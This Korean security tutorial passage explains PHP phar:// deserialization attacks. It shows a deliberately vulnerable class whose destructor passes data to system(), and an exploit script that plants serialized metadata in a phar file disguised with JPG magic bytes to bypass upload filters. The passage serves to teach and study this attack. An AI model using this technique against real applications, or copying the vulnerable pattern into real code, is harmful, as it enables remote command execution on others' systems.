Phar 파일(PHP 아카이브)은 직렬화된 형식으로 메타 데이터를 포함하고 있으므로, 이 메타데이터가 역직렬화되어 파싱될 때, PHP 코드 내에서 역직렬화 취약점을 악용할 수 있습니다.
이 특성의 가장 좋은 점은 이 역직렬화가 **file\_get\_contents(), fopen(), file() 또는 file\_exists(), md5\_file(), filemtime() 또는 filesize()**와 같이 PHP 코드를 평가하지 않는 PHP 함수를 사용하여 발생한다는 것입니다.
따라서, phar:// 프로토콜을 사용하여 임의의 파일의 크기를 가져오도록 PHP 웹을 만들 수 있는 상황을 상상해보세요. 그리고 코드 내에서 다음과 유사한 클래스를 찾을 수 있습니다:
vunl.php
<?phpclassAnyClass {public $data =null;publicfunction__construct($data) {$this->data = $data;}function__destruct() {system($this->data);}}filesize("phar://test.phar"); #The attacker can control this path
phar 파일을 만들어서 이 클래스를 악용하여 다음과 같이 임의의 명령을 실행할 수 있습니다:
create_phar.php
<?phpclassAnyClass {public $data =null;publicfunction__construct($data) {$this->data = $data;}function__destruct() {system($this->data);}}// create new Phar$phar =newPhar('test.phar');$phar->startBuffering();$phar->addFromString('test.txt','text');$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");// add object of any class as meta data$object =newAnyClass('whoami');$phar->setMetadata($object);$phar->stopBuffering();
JPG의 매직 바이트(\xff\xd8\xff)가 phar 파일의 시작 부분에 추가되어 가능한 파일 업로드제한을 우회하는 방법을 주목하십시오.
다음과 같이 test.phar 파일을 컴파일하십시오: